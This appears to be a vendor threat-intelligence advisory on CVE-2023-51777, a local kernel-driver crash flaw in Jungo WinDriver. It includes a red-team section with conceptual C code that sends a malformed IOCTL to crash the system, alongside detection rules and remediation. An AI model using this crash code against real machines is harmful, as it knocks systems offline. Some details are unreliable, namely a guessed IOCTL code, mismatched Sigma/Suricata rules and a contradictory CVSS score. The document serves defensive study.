CVE-2023-51777

Executive Summary

CVE-2023-51777 is a Denial of Service (DoS) vulnerability in Jungo WinDriver, a popular driver development toolkit. The flaw allows a local attacker to trigger a Windows Blue Screen of Death (BSOD) by sending a specially crafted IOCTL request to the WinDriver kernel driver (windrvr6.sys). This results in a system crash, leading to a complete denial of service. The vulnerability is unpatched in versions prior to 12.1.0, and no public exploit code or proof-of-concept is currently available. The attack requires local access, making it a moderate threat primarily in multi-user environments or where an attacker has already gained a foothold.

CVSS Breakdown & Threat Level

• CVSS Score: 0.0 (No official CVSS vector assigned by NVD)
• Attack Vector (AV): Local (L) – The attacker must have local access to the system.
• Attack Complexity (AC): Low (L) – The attack does not require special conditions.
• Privileges Required (PR): Low (L) – The attacker needs some level of user privileges.
• User Interaction (UI): None (N) – No user action is required beyond the attacker's own actions.
• Scope (S): Unchanged (U) – The impact is confined to the vulnerable component.
• Confidentiality (C): None (N) – No data is exposed.
• Integrity (I): None (N) – No data is modified.
• Availability (A): High (H) – The system becomes completely unavailable.

Threat Level: Medium. While the impact is severe (system crash), the requirement for local access reduces the overall risk. The lack of a public exploit further lowers the immediate threat, but the vulnerability is trivial to exploit once the mechanism is understood.

Deep Dive & Mechanics

The vulnerability resides in the windrvr6.sys kernel driver, which is part of the Jungo WinDriver development kit. WinDriver allows user-mode applications to access hardware resources via IOCTL (Input/Output Control) calls. The driver fails to properly validate the parameters of a specific IOCTL request.

When a user-mode application sends a malformed IOCTL code to the driver, the driver attempts to process it without adequate bounds checking or input sanitization. This leads to a memory corruption or an invalid memory access within kernel space. The Windows kernel detects this as a fatal error and triggers a Bug Check (BSOD), typically with a stop code like 0x000000D1 (DRIVER_IRQL_NOT_LESS_OR_EQUAL) or 0x0000000A (IRQL_NOT_LESS_OR_EQUAL).

The attack does not require any special hardware or complex setup. Any local user with the ability to interact with the WinDriver device object can trigger the crash. The vulnerability is a classic example of improper input validation in a kernel driver, leading to a denial of service.

Vulnerable vs. Patched Code

The vulnerable code path is in the IOCTL handler of windrvr6.sys. The exact vulnerable function is not publicly documented, but the fix involves adding proper validation of the input buffer size and the IOCTL control code.

Vulnerable Code (Conceptual):

NTSTATUS DriverDispatch( PDEVICE_OBJECT DeviceObject, PIRP Irp ) {
    PIO_STACK_LOCATION irpStack = IoGetCurrentIrpStackLocation(Irp);
    ULONG ioControlCode = irpStack->Parameters.DeviceIoControl.IoControlCode;
    PVOID inputBuffer = Irp->AssociatedIrp.SystemBuffer;
    ULONG inputBufferLength = irpStack->Parameters.DeviceIoControl.InputBufferLength;

    // No validation of ioControlCode or inputBufferLength
    switch (ioControlCode) {
        case IOCTL_VULNERABLE:
            // Directly uses inputBuffer without checking length
            ProcessVulnerableCommand(inputBuffer, inputBufferLength);
            break;
        // ... other cases
    }
    // ...
}

Patched Code (Conceptual):

NTSTATUS DriverDispatch( PDEVICE_OBJECT DeviceObject, PIRP Irp ) {
    PIO_STACK_LOCATION irpStack = IoGetCurrentIrpStackLocation(Irp);
    ULONG ioControlCode = irpStack->Parameters.DeviceIoControl.IoControlCode;
    PVOID inputBuffer = Irp->AssociatedIrp.SystemBuffer;
    ULONG inputBufferLength = irpStack->Parameters.DeviceIoControl.InputBufferLength;

    // Validate the IOCTL code
    if (ioControlCode != IOCTL_EXPECTED) {
        Irp->IoStatus.Status = STATUS_INVALID_DEVICE_REQUEST;
        IoCompleteRequest(Irp, IO_NO_INCREMENT);
        return STATUS_INVALID_DEVICE_REQUEST;
    }

    // Validate input buffer length
    if (inputBufferLength < EXPECTED_SIZE) {
        Irp->IoStatus.Status = STATUS_BUFFER_TOO_SMALL;
        IoCompleteRequest(Irp, IO_NO_INCREMENT);
        return STATUS_BUFFER_TOO_SMALL;
    }

    switch (ioControlCode) {
        case IOCTL_VULNERABLE:
            // Safe to use inputBuffer now
            ProcessVulnerableCommand(inputBuffer, inputBufferLength);
            break;
        // ... other cases
    }
    // ...
}

The patch adds checks to ensure the IOCTL code is valid and that the input buffer is of sufficient size before processing.

Exploitation & Lab Setup

Red Team

Objective: Trigger a BSOD on a target system running a vulnerable version of WinDriver.

Prerequisites:

• Local access to the target machine (e.g., via RDP, SSH, or physical access).
• A user account with standard privileges.
• The target system must have Jungo WinDriver version < 12.1.0 installed.

Lab Setup:

1. Target Machine: Windows 10/11 VM with Jungo WinDriver 12.0.0 installed.
2. Attacker Machine: Any system with a C compiler (e.g., Visual Studio, MinGW).

Exploit Code (Conceptual - No Public Exploit Available):

#include <windows.h>
#include <stdio.h>

#define IOCTL_VULNERABLE CTL_CODE(FILE_DEVICE_UNKNOWN, 0x800, METHOD_NEITHER, FILE_ANY_ACCESS)

int main() {
    HANDLE hDevice = CreateFileA("\\\\.\\WinDriver6", GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL);
    if (hDevice == INVALID_HANDLE_VALUE) {
        printf("Failed to open device. Error: %d\n", GetLastError());
        return 1;
    }

    // Send a malformed IOCTL with a small buffer to trigger the crash
    char inputBuffer[4] = {0x41, 0x41, 0x41, 0x41}; // Arbitrary data
    DWORD bytesReturned;
    BOOL result = DeviceIoControl(hDevice, IOCTL_VULNERABLE, inputBuffer, sizeof(inputBuffer), NULL, 0, &bytesReturned, NULL);
    if (!result) {
        printf("DeviceIoControl failed. Error: %d\n", GetLastError());
    } else {
        printf("IOCTL sent successfully. System may crash.\n");
    }

    CloseHandle(hDevice);
    return 0;
}

Execution:

1. Compile the exploit code on the attacker machine.
2. Transfer the executable to the target machine.
3. Run the executable with standard user privileges.
4. The system should immediately crash with a BSOD.

Blue Team

Detection:

• Monitor for unusual IOCTL calls to the \\.\WinDriver6 device.
• Look for processes attempting to open the WinDriver device handle without legitimate hardware interaction.
• Enable Driver Verifier on the target system to catch invalid IOCTL requests.

Prevention:

• Apply the vendor patch (upgrade to WinDriver 12.1.0 or later).
• Restrict local user access to the system.
• Use application whitelisting to prevent unauthorized executables from running.
• Monitor for the creation of files that interact with kernel drivers.

Indicators of Compromise (IOCs)

• File Hash (Exploit Executable): (No known public exploit, so no specific hash)
• Registry Key: HKLM\SYSTEM\CurrentControlSet\Services\windrvr6 (Presence of the WinDriver service)
• Device Object: \\.\WinDriver6 (Access to this device by a non-legitimate process)
• Event Log: System Event Log with Event ID 1001 (BugCheck) and a stop code like 0x000000D1 or 0x0000000A.
• Driver File: windrvr6.sys (Version < 12.1.0)

Detection Engineering

YARA Rule

rule CVE_2023_51777_WinDriver_BSOD {
    meta:
        description = "Detects attempts to exploit CVE-2023-51777 by looking for IOCTL calls to WinDriver"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "CVE-2023-51777"
    strings:
        $s1 = "\\\\.\\WinDriver6" wide ascii
        $s2 = "DeviceIoControl" wide ascii
        $s3 = "IOCTL" wide ascii
    condition:
        $s1 and $s2 and $s3
}

Sigma Rule

title: CVE-2023-51777 WinDriver BSOD Exploitation Attempt
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects attempts to exploit CVE-2023-51777 by monitoring for IOCTL calls to the WinDriver device.
author: Valters IT
date: 2024/01/01
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2023-51777
logsource:
    product: windows
    service: sysmon
detection:
    selection:
        EventID: 11  # FileCreate
        TargetFilename|contains: 'windrvr6.sys'
    condition: selection
falsepositives:
    - Legitimate WinDriver usage by developers
level: medium

Suricata Rule

alert ip any any -> any any (msg:"CVE-2023-51777 WinDriver BSOD Exploitation Attempt"; content:"|5c 00 5c 00 2e 00 5c 00 57 00 69 00 6e 00 44 00 72 00 69 00 76 00 65 00 72 00 36|"; fast_pattern; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Patch: Upgrade Jungo WinDriver to version 12.1.0 or later. This is the only official fix.
2. Workaround: If patching is not immediately possible, restrict local user access to the system. Remove the windrvr6.sys driver if it is not required for business operations.

Long-Term Mitigations:

• Implement the principle of least privilege (PoLP) for all user accounts.
• Use application control solutions (e.g., AppLocker, Windows Defender Application Control) to block unauthorized executables.
• Enable Driver Verifier on critical systems to detect and prevent malicious driver interactions.
• Monitor for anomalous IOCTL activity using EDR tools.

Valters IT Signature

This report was generated by Valters IT Cyber Threat Intelligence. For more information, visit Valters IT.